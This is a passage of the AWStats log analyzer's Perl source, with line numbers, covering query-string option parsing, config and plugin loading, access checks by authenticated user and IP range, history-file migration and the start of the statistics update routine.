 
16714
                $ShowDirectOrigin = 1;
 
16715
                $QueryString =~ s/showdirectorigin[^&]*//i;
 
16716
        }
 
16717
}
 
16718
if ( $QueryString =~ /(^|&|&amp;)staticlinks/i ) {
 
16719
        $StaticLinks = "$PROG.$SiteConfig";
 
16720
}
 
16721
if ( $QueryString =~ /(^|&|&amp;)staticlinks=([^&]+)/i ) {
 
16722
        $StaticLinks = "$2";
 
16723
}    # When ran from awstatsbuildstaticpages.pl
 
16724
if ( $QueryString =~ /(^|&|&amp;)staticlinksext=([^&]+)/i ) {
 
16725
        $StaticExt = "$2";
 
16726
}
 
16727
if ( $QueryString =~ /(^|&|&amp;)framename=([^&]+)/i ) { $FrameName = "$2"; }
 
16728
if ( $QueryString =~ /(^|&|&amp;)debug=(\d+)/i )       { $Debug     = $2; }
 
16729
if ( $QueryString =~ /(^|&|&amp;)databasebreak=(\w+)/i ) {
 
16730
        $DatabaseBreak = $2;
 
16731
}
 
16732
if ( $QueryString =~ /(^|&|&amp;)updatefor=(\d+)/i ) { $UpdateFor = $2; }
 
16733
 
 
16734
if ( $QueryString =~ /(^|&|&amp;)noloadplugin=([^&]+)/i ) {
 
16735
        foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; }
 
16736
}
 
16737
if ( $QueryString =~ /(^|&|&amp;)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; }
 
16738
 
 
16739
# Get/Define output
 
16740
if ( $QueryString =~
 
16741
        /(^|&|&amp;)output(=[^&]*|)(.*)(&|&amp;)output(=[^&]*|)(&|$)/i )
 
16742
{
 
16743
        error( "Only 1 output option is allowed", "", "", 1 );
 
16744
}
 
16745
if ( $QueryString =~ /(^|&|&amp;)output(=[^&]*|)(&|$)/i ) {
 
16746
 
 
16747
        # At least one output expected. We define %HTMLOutput
 
16748
        my $outputlist = "$2";
 
16749
        if ($outputlist) {
 
16750
                $outputlist =~ s/^=//;
 
16751
                foreach my $outputparam ( split( /,/, $outputlist ) ) {
 
16752
                        $outputparam =~ s/:(.*)$//;
 
16753
                        if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; }
 
16754
                }
 
16755
        }
 
16756
 
 
16757
        # If on command line and no update
 
16758
        if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) {
 
16759
                $UpdateStats = 0;
 
16760
        }
 
16761
 
 
16762
        # If no output defined, used default value
 
16763
        if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; }
 
16764
}
 
16765
if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) {
 
16766
        $HTMLOutput{'main'} = 1;
 
16767
}
 
16768
 
 
16769
# Remove -output option with no = from QueryString
 
16770
$QueryString =~ s/(^|&|&amp;)output(&|$)/$1$2/i;
 
16771
$QueryString =~ s/&+$//;
 
16772
 
 
16773
# Check year, month, day, hour parameters
 
16774
if ( $QueryString =~ /(^|&|&amp;)month=(year)/i ) {
 
16775
        error("month=year is a deprecated option. Use month=all instead.");
 
16776
}
 
16777
if ( $QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i ) {
 
16778
        $YearRequired = sprintf( "%04d", $2 );
 
16779
}
 
16780
else { $YearRequired = "$nowyear"; }
 
16781
if ( $QueryString =~ /(^|&|&amp;)month=(\d{1,2})/i ) {
 
16782
        $MonthRequired = sprintf( "%02d", $2 );
 
16783
}
 
16784
elsif ( $QueryString =~ /(^|&|&amp;)month=(all)/i ) { $MonthRequired = 'all'; }
 
16785
else { $MonthRequired = "$nowmonth"; }
 
16786
if ( $QueryString =~ /(^|&|&amp;)day=(\d{1,2})/i ) {
 
16787
        $DayRequired = sprintf( "%02d", $2 );
 
16788
} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
 
16789
else { $DayRequired = ''; }
 
16790
if ( $QueryString =~ /(^|&|&amp;)hour=(\d{1,2})/i ) {
 
16791
        $HourRequired = sprintf( "%02d", $2 );
 
16792
} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
 
16793
else { $HourRequired = ''; }
 
16794
 
 
16795
# Check parameter validity
 
16796
# TODO
 
16797
 
 
16798
# Print AWStats and Perl version
 
16799
if ($Debug) {
 
16800
        debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 );
 
16801
        debug( "DIR=$DIR PROG=$PROG Extension=$Extension",   2 );
 
16802
        debug( "QUERY_STRING=$QueryString",                  2 );
 
16803
        debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 );
 
16804
        debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
 
16805
        debug( "DayRequired=$DayRequired, HourRequired=$HourRequired",     2 );
 
16806
        debug( "UpdateFor=$UpdateFor",                                     2 );
 
16807
        debug( "PluginMode=$PluginMode",                                   2 );
 
16808
        debug( "DirConfig=$DirConfig",                                     2 );
 
16809
}
 
16810
 
 
16811
# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
 
16812
if ( $ENV{'AWSTATS_CONFIG'} ) {
 
16813
        $ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'};
 
16814
}    # For backward compatibility
 
16815
if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
 
16816
        if ($Debug) {
 
16817
                debug(  "AWSTATS_FORCE_CONFIG parameter is defined to '"
 
16818
                          . $ENV{'AWSTATS_FORCE_CONFIG'}
 
16819
                          . "'. $PROG will use this as config value." );
 
16820
        }
 
16821
        $SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
 
16822
}
 
16823
 
 
16824
# Display help information
 
16825
if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
 
16826
        &PrintCLIHelp();
 
16827
        exit 2;
 
16828
}
 
16829
$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} );
 
16830
 
 
16831
#$ENV{'SERVER_NAME'}||=$SiteConfig;     # For thoose who use __SERVER_NAME__ in conf file and use CLI.
 
16832
$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig;
 
16833
 
 
16834
# Read config file (SiteConfig must be defined)
 
16835
&Read_Config($DirConfig);
 
16836
 
 
16837
# Check language
 
16838
if ( $QueryString =~ /(^|&|&amp;)lang=([^&]+)/i ) { $Lang = "$2"; }
 
16839
if ( !$Lang || $Lang eq 'auto' ) {    # If lang not defined or forced to auto
 
16840
        my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || '';
 
16841
        $langlist =~ s/;[^,]*//g;
 
16842
        if ($Debug) {
 
16843
                debug(
 
16844
                        "Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
 
16845
                        1
 
16846
                );
 
16847
        }
 
16848
        foreach my $code ( split( /,/, $langlist ) )
 
16849
        {                                 # Search for a valid lang in priority
 
16850
                if ( $LangBrowserToLangAwstats{$code} ) {
 
16851
                        $Lang = $LangBrowserToLangAwstats{$code};
 
16852
                        if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
 
16853
                        last;
 
16854
                }
 
16855
                $code =~ s/-.*$//;
 
16856
                if ( $LangBrowserToLangAwstats{$code} ) {
 
16857
                        $Lang = $LangBrowserToLangAwstats{$code};
 
16858
                        if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
 
16859
                        last;
 
16860
                }
 
16861
        }
 
16862
}
 
16863
if ( !$Lang || $Lang eq 'auto' ) {
 
16864
        if ($Debug) {
 
16865
                debug( " No language defined or available. Will use Lang=en", 1 );
 
16866
        }
 
16867
        $Lang = 'en';
 
16868
}
 
16869
 
 
16870
# Check and correct bad parameters
 
16871
&Check_Config();
 
16872
 
 
16873
# Now SiteDomain is defined
 
16874
 
 
16875
if ( $Debug && !$DebugMessages ) {
 
16876
        error(
 
16877
"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
 
16878
        );
 
16879
}
 
16880
 
 
16881
# Define frame name and correct variable for frames
 
16882
if ( !$FrameName ) {
 
16883
        if (   $ENV{'GATEWAY_INTERFACE'}
 
16884
                && $UseFramesWhenCGI
 
16885
                && $HTMLOutput{'main'}
 
16886
                && !$PluginMode )
 
16887
        {
 
16888
                $FrameName = 'index';
 
16889
        }
 
16890
        else { $FrameName = 'main'; }
 
16891
}
 
16892
 
 
16893
# Load Message files, Reference data files and Plugins
 
16894
if ($Debug) { debug( "FrameName=$FrameName", 1 ); }
 
16895
if ( $FrameName ne 'index' ) {
 
16896
        &Read_Language_Data($Lang);
 
16897
        if ( $FrameName ne 'mainleft' ) {
 
16898
                my %datatoload = ();
 
16899
                my (
 
16900
                        $filedomains, $filemime, $filerobots, $fileworms,
 
16901
                        $filebrowser, $fileos,   $filese
 
16902
                  )
 
16903
                  = (
 
16904
                        'domains',  'mime',
 
16905
                        'robots',   'worms',
 
16906
                        'browsers', 'operating_systems',
 
16907
                        'search_engines'
 
16908
                  );
 
16909
                my ( $filestatushttp, $filestatussmtp ) =
 
16910
                  ( 'status_http', 'status_smtp' );
 
16911
                if ( $LevelForBrowsersDetection eq 'allphones' ) {
 
16912
                        $filebrowser = 'browsers_phone';
 
16913
                }
 
16914
                if ($UpdateStats) {    # If update
 
16915
                        if ($LevelForFileTypesDetection) {
 
16916
                                $datatoload{$filemime} = 1;
 
16917
                        }                  # Only if need to filter on known extensions
 
16918
                        if ($LevelForRobotsDetection) {
 
16919
                                $datatoload{$filerobots} = 1;
 
16920
                        }                  # ua
 
16921
                        if ($LevelForWormsDetection) {
 
16922
                                $datatoload{$fileworms} = 1;
 
16923
                        }                  # url
 
16924
                        if ($LevelForBrowsersDetection) {
 
16925
                                $datatoload{$filebrowser} = 1;
 
16926
                        }                  # ua
 
16927
                        if ($LevelForOSDetection) {
 
16928
                                $datatoload{$fileos} = 1;
 
16929
                        }                  # ua
 
16930
                        if ($LevelForRefererAnalyze) {
 
16931
                                $datatoload{$filese} = 1;
 
16932
                        }                  # referer
 
16933
                                           # if (...) { $datatoload{'referer_spam'}=1; }
 
16934
                }
 
16935
                if ( scalar keys %HTMLOutput ) {    # If output
 
16936
                        if ( $ShowDomainsStats || $ShowHostsStats ) {
 
16937
                                $datatoload{$filedomains} = 1;
 
16938
                        } # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
 
16939
                        if ($ShowFileTypesStats)  { $datatoload{$filemime}       = 1; }
 
16940
                        if ($ShowRobotsStats)     { $datatoload{$filerobots}     = 1; }
 
16941
                        if ($ShowWormsStats)      { $datatoload{$fileworms}      = 1; }
 
16942
                        if ($ShowBrowsersStats)   { $datatoload{$filebrowser}    = 1; }
 
16943
                        if ($ShowOSStats)         { $datatoload{$fileos}         = 1; }
 
16944
                        if ($ShowOriginStats)     { $datatoload{$filese}         = 1; }
 
16945
                        if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; }
 
16946
                        if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; }
 
16947
                }
 
16948
                &Read_Ref_Data( keys %datatoload );
 
16949
        }
 
16950
        &Read_Plugins();
 
16951
}
 
16952
 
 
16953
# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
 
16954
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
 
16955
        http_head();
 
16956
}    # Run from a browser as CGI
 
16957
 
 
16958
# Init other parameters
 
16959
$NBOFLINESFORBENCHMARK--;
 
16960
if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; }
 
16961
if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) {
 
16962
        $DirCgi .= '/';
 
16963
}
 
16964
if ( !$DirData || $DirData =~ /^\./ ) {
 
16965
        if ( !$DirData || $DirData eq '.' ) {
 
16966
                $DirData = "$DIR";
 
16967
        }    # If not defined or chosen to '.' value then DirData is current dir
 
16968
        elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
 
16969
}
 
16970
$DirData ||= '.';    # If current dir not defined then we put it to '.'
 
16971
$DirData =~ s/[\\\/]+$//;
 
16972
 
 
16973
if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); }
 
16974
else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); }
 
16975
 
 
16976
# Should we link to ourselves or to a wrapper script
 
16977
$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" );
 
16978
if (index($AWScript,'?')>-1) 
 
16979
{
 
16980
    $AWScript .= '&amp;';   # $AWScript contains URL parameters
 
16981
}
 
16982
else 
 
16983
{
 
16984
    $AWScript .= '?';
 
16985
}
 
16986
 
 
16987
 
 
16988
# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
 
16989
if ( !$HeaderHTMLSent ) { &html_head; }
 
16990
 
 
16991
# AWStats output is replaced by a plugin output
 
16992
if ($PluginMode) {
 
16993
 
 
16994
        #       my $function="BuildFullHTMLOutput_$PluginMode()";
 
16995
        #       eval("$function");
 
16996
        my $function = "BuildFullHTMLOutput_$PluginMode";
 
16997
        &$function();
 
16998
        if ( $? || $@ ) { error("$@"); }
 
16999
        &html_end(0);
 
17000
        exit 0;
 
17001
}
 
17002
 
 
17003
# Security check
 
17004
if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} )
 
17005
{
 
17006
        if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
 
17007
        if ( !$ENV{"REMOTE_USER"} ) {
 
17008
                error(
 
17009
"Access to statistics is only allowed from an authenticated session to authenticated users."
 
17010
                );
 
17011
        }
 
17012
        if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
 
17013
                my $userisinlist = 0;
 
17014
                my $remoteuser   = quotemeta( $ENV{"REMOTE_USER"} );
 
17015
                $remoteuser =~ s/\s/%20/g
 
17016
                  ; # Allow authenticated user with space in name to be compared to allowed user list
 
17017
                my $currentuser = qr/^$remoteuser$/i;    # Set precompiled regex
 
17018
                foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
 
17019
                        if (/$currentuser/o) { $userisinlist = 1; last; }
 
17020
                }
 
17021
                if ( !$userisinlist ) {
 
17022
                        error(  "User '"
 
17023
                                  . $ENV{"REMOTE_USER"}
 
17024
                                  . "' is not allowed to access statistics of this domain/config."
 
17025
                        );
 
17026
                }
 
17027
        }
 
17028
}
 
17029
if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) {
 
17030
        my $IPAddress     = $ENV{"REMOTE_ADDR"};                  # IPv4 or IPv6
 
17031
        my $useripaddress = &Convert_IP_To_Decimal($IPAddress);
 
17032
        my @allowaccessfromipaddresses =
 
17033
          split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses );
 
17034
        my $allowaccess = 0;
 
17035
        foreach my $ipaddressrange (@allowaccessfromipaddresses) {
 
17036
                if ( $ipaddressrange !~
 
17037
                        /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
 
17038
                        && $ipaddressrange !~
 
17039
                        /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
 
17040
                {
 
17041
                        error(
 
17042
"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
 
17043
                        );
 
17044
                }
 
17045
 
 
17046
                # Test ip v4
 
17047
                if ( $ipaddressrange =~
 
17048
                        /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
 
17049
                {
 
17050
                        my $ipmin = &Convert_IP_To_Decimal($1);
 
17051
                        my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
 
17052
 
 
17053
                        # Is it an authorized ip ?
 
17054
                        if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) )
 
17055
                        {
 
17056
                                $allowaccess = 1;
 
17057
                                last;
 
17058
                        }
 
17059
                }
 
17060
 
 
17061
                # Test ip v6
 
17062
                if ( $ipaddressrange =~
 
17063
                        /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
 
17064
                {
 
17065
                        if ( $ipaddressrange =~ /::\// ) {
 
17066
                                my @IPv6split = split( /::/, $ipaddressrange );
 
17067
                                if ( $IPAddress =~ /^$IPv6split[0]/ ) {
 
17068
                                        $allowaccess = 1;
 
17069
                                        last;
 
17070
                                }
 
17071
                        }
 
17072
                        elsif ( $ipaddressrange == $IPAddress ) {
 
17073
                                $allowaccess = 1;
 
17074
                                last;
 
17075
                        }
 
17076
                }
 
17077
        }
 
17078
        if ( !$allowaccess ) {
 
17079
                error( "Access to statistics is not allowed from your IP Address "
 
17080
                          . $ENV{"REMOTE_ADDR"} );
 
17081
        }
 
17082
}
 
17083
if (   ( $UpdateStats || $MigrateStats )
 
17084
        && ( !$AllowToUpdateStatsFromBrowser )
 
17085
        && $ENV{'GATEWAY_INTERFACE'} )
 
17086
{
 
17087
        error(  ""
 
17088
                  . ( $UpdateStats ? "Update" : "Migrate" )
 
17089
                  . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
 
17090
        );
 
17091
}
 
17092
if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
 
17093
        if ( !$AllowFullYearView ) {
 
17094
                error(
 
17095
"Full year view has not been allowed (AllowFullYearView is set to 0)."
 
17096
                );
 
17097
        }
 
17098
        if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
 
17099
                error(
 
17100
"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
 
17101
                );
 
17102
        }
 
17103
}
 
17104
 
 
17105
#------------------------------------------
 
17106
# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
 
17107
#------------------------------------------
 
17108
if ($MigrateStats) {
 
17109
        if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
 
17110
        if ( $MigrateStats !~
 
17111
                /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
 
17112
        {
 
17113
                error(
 
17114
"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
 
17115
                        "", "", 1
 
17116
                );
 
17117
        }
 
17118
        $DirData       = "$1";
 
17119
        $MonthRequired = "$2";
 
17120
        $YearRequired  = "$3";
 
17121
        $DayRequired   = "$4";
 
17122
        $HourRequired  = "$5";
 
17123
        $FileSuffix    = "$6";
 
17124
 
 
17125
        # Correct DirData
 
17126
        if ( !$DirData || $DirData =~ /^\./ ) {
 
17127
                if ( !$DirData || $DirData eq '.' ) {
 
17128
                        $DirData = "$DIR";
 
17129
                }    # If not defined or chosen to '.' value then DirData is current dir
 
17130
                elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
 
17131
        }
 
17132
        $DirData ||= '.';    # If current dir not defined then we put it to '.'
 
17133
        $DirData =~ s/[\\\/]+$//;
 
17134
        print "Start migration for file '$MigrateStats'.";
 
17135
        print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
 
17136
        if ($EnableLockForUpdate) { &Lock_Update(1); }
 
17137
        my $newhistory =
 
17138
          &Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
 
17139
                $HourRequired, 1, 0, 'all' );
 
17140
        if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
 
17141
                unlink "$newhistory";
 
17142
                error(
 
17143
"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
 
17144
                          . (
 
17145
                                $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
 
17146
                          )
 
17147
                          . " or file might be opened."
 
17148
                );
 
17149
        }
 
17150
        if ($EnableLockForUpdate) { &Lock_Update(0); }
 
17151
        print "Migration for file '$MigrateStats' successful.";
 
17152
        print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
 
17153
        &html_end(1);
 
17154
        exit 0;
 
17155
}
 
17156
 
 
17157
# Output main frame page and exit. This must be after the security check.
 
17158
if ( $FrameName eq 'index' ) {
 
17159
 
 
17160
        # Define the NewLinkParams for main chart
 
17161
        my $NewLinkParams = ${QueryString};
 
17162
        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
17163
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
17164
        $NewLinkParams =~ s/^&amp;//;
 
17165
        $NewLinkParams =~ s/&amp;$//;
 
17166
        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
 
17167
 
 
17168
        # Exit if main frame
 
17169
        print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
 
17170
        print "<frame name=\"mainleft\" src=\""
 
17171
          . XMLEncode("$AWScript${NewLinkParams}framename=mainleft")
 
17172
          . "\" noresize=\"noresize\" frameborder=\"0\" />\n";
 
17173
        print "<frame name=\"mainright\" src=\""
 
17174
          . XMLEncode("$AWScript${NewLinkParams}framename=mainright")
 
17175
          . "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
 
17176
        print "<noframes><body>";
 
17177
        print "Your browser does not support frames.<br />\n";
 
17178
        print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
 
17179
        print "to see your reports.<br />\n";
 
17180
        print "</body></noframes>\n";
 
17181
        print "</frameset>\n";
 
17182
        &html_end(0);
 
17183
        exit 0;
 
17184
}
 
17185
 
 
17186
%MonthNumLib = (
 
17187
        "01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
 
17188
        "04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
 
17189
        "07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
 
17190
        "10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
 
17191
);
 
17192
 
 
17193
# Build ListOfYears list with all existing years
 
17194
(
 
17195
        $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
 
17196
        $lasthourbeforeupdate, $lastdatebeforeupdate
 
17197
  )
 
17198
  = ( 0, 0, 0, 0, 0 );
 
17199
my $datemask = '';
 
17200
if    ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; }
 
17201
elsif ( $DatabaseBreak eq 'year' )  { $datemask = '(\d\d\d\d)'; }
 
17202
elsif ( $DatabaseBreak eq 'day' )   { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; }
 
17203
elsif ( $DatabaseBreak eq 'hour' )  {
 
17204
        $datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)';
 
17205
}
 
17206
 
 
17207
if ($Debug) {
 
17208
        debug(
 
17209
"Scan for last history files into DirData='$DirData' with mask='$datemask'"
 
17210
        );
 
17211
}
 
17212
 
 
17213
my $retval = opendir( DIR, "$DirData" );
 
17214
if(! $retval) 
 
17215
{
 
17216
    error( "Failed to open directory $DirData : $!");
 
17217
}
 
17218
my $regfilesuffix = quotemeta($FileSuffix);
 
17219
foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
 
17220
        file_filt sort readdir DIR )
 
17221
{
 
17222
        /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
 
17223
        if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
 
17224
 
 
17225
                # ListOfYears contains max month found
 
17226
                $ListOfYears{"$2"} = "$1";
 
17227
        }
 
17228
        my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" );
 
17229
        if ( $rangestring gt $lastdatebeforeupdate ) {
 
17230
 
 
17231
                # We are on a new max for mask
 
17232
                $lastyearbeforeupdate  = ( $2 || "" );
 
17233
                $lastmonthbeforeupdate = ( $1 || "" );
 
17234
                $lastdaybeforeupdate   = ( $3 || "" );
 
17235
                $lasthourbeforeupdate  = ( $4 || "" );
 
17236
                $lastdatebeforeupdate = $rangestring;
 
17237
        }
 
17238
}
 
17239
close DIR;
 
17240
 
 
17241
# If at least one file found, get value for LastLine
 
17242
if ($lastyearbeforeupdate) {
 
17243
 
 
17244
        # Read 'general' section of last history file for LastLine
 
17245
        &Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
 
17246
                $lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
 
17247
}
 
17248
 
 
17249
# Warning if lastline in future
 
17250
if ( $LastLine > ( $nowtime + 20000 ) ) {
 
17251
        warning(
 
17252
"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files."
 
17253
        );
 
17254
}
 
17255
 
 
17256
# Force LastLine
 
17257
if ( $QueryString =~ /lastline=(\d{14})/i ) {
 
17258
        $LastLine = $1;
 
17259
}
 
17260
if ($Debug) {
 
17261
        debug(
 
17262
                "Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
 
17263
        debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
 
17264
        debug("LastLine=$LastLine");
 
17265
        debug("LastLineNumber=$LastLineNumber");
 
17266
        debug("LastLineOffset=$LastLineOffset");
 
17267
        debug("LastLineChecksum=$LastLineChecksum");
 
17268
}
 
17269
 
 
17270
# Init vars
 
17271
&Init_HashArray();
 
17272
 
 
17273
#------------------------------------------
 
17274
# UPDATE PROCESS
 
17275
#------------------------------------------
 
17276
my $lastlinenb         = 0;
 
17277
my $lastlineoffset     = 0;
 
17278
my $lastlineoffsetnext = 0;
 
17279
if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); }
 
17280
if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' )
 
17281
{    # Update only on index page or when not framed to avoid update twice
 
17282
 
 
17283
        my %MonthNum = (
 
17284
                "Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
 
17285
                "mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
 
17286
                "Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
 
17287
                "aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
 
17288
                "Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
 
17289
          )
 
17290
          ; # MonthNum must be in english because used to translate log date in apache log files
 
17291
 
 
17292
        if ( !scalar keys %HTMLOutput ) {
 
17293
                print
 
17294
"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
 
17295
                print "From data in log file \"$LogFile\"...\n";
 
17296
        }
 
17297
 
 
17298
        my $lastprocessedyear  = $lastyearbeforeupdate  || 0;
 
17299
        my $lastprocessedmonth = $lastmonthbeforeupdate || 0;
 
17300
        my $lastprocessedday   = $lastdaybeforeupdate   || 0;
 
17301
        my $lastprocessedhour  = $lasthourbeforeupdate  || 0;
 
17302
        my $lastprocesseddate  = '';
 
17303
        if ( $DatabaseBreak eq 'month' ) {
 
17304
                $lastprocesseddate =
 
17305
                  sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth );
 
17306
        }
 
17307
        elsif ( $DatabaseBreak eq 'year' ) {
 
17308
                $lastprocesseddate = sprintf( "%04i%", $lastprocessedyear );
 
17309
        }
 
17310
        elsif ( $DatabaseBreak eq 'day' ) {
 
17311
                $lastprocesseddate = sprintf( "%04i%02i%02i",
 
17312
                        $lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
 
17313
        }
 
17314
        elsif ( $DatabaseBreak eq 'hour' ) {
 
17315
                $lastprocesseddate = sprintf(
 
17316
                        "%04i%02i%02i%02i",
 
17317
                        $lastprocessedyear, $lastprocessedmonth,
 
17318
                        $lastprocessedday,  $lastprocessedhour
 
17319
                );
 
17320
        }
 
17321
 
 
17322
        my @list;
 
17323
 
 
17324
        # Init RobotsSearchIDOrder required for update process
 
17325
        @list = ();
 
17326
        if ( $LevelForRobotsDetection >= 1 ) {
 
17327
                foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; }
 
17328
                push @list, "listgen";    # Always added
 
17329
        }
 
17330
        foreach my $key (@list) {
 
17331
                push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"};
 
17332
                if ($Debug) {
 
17333
                        debug(
 
17334
                                "Add "
 
17335
                                  . @{"RobotsSearchIDOrder_$key"}
 
17336
                                  . " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",
 
17337
                                2
 
17338
                        );
 
17339
                }
 
17340
        }
 
17341
        if ($Debug) {
 
17342
                debug(
 
17343
                        "RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
 
17344
                        1
 
17345
                );
 
17346
        }
 
17347
 
 
17348
        # Init SearchEnginesIDOrder required for update process
 
17349
        @list = ();
 
17350
        if ( $LevelForSearchEnginesDetection >= 1 ) {
 
17351
                foreach ( 1 .. $LevelForSearchEnginesDetection ) {
 
17352
                        push @list, "list$_";
 
17353
                }
 
17354
                push @list, "listgen";    # Always added
 
17355
        }
 
17356
        foreach my $key (@list) {
 
17357
                push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"};
 
17358
                if ($Debug) {
 
17359
                        debug(
 
17360
                                "Add "
 
17361
                                  . @{"SearchEnginesSearchIDOrder_$key"}
 
17362
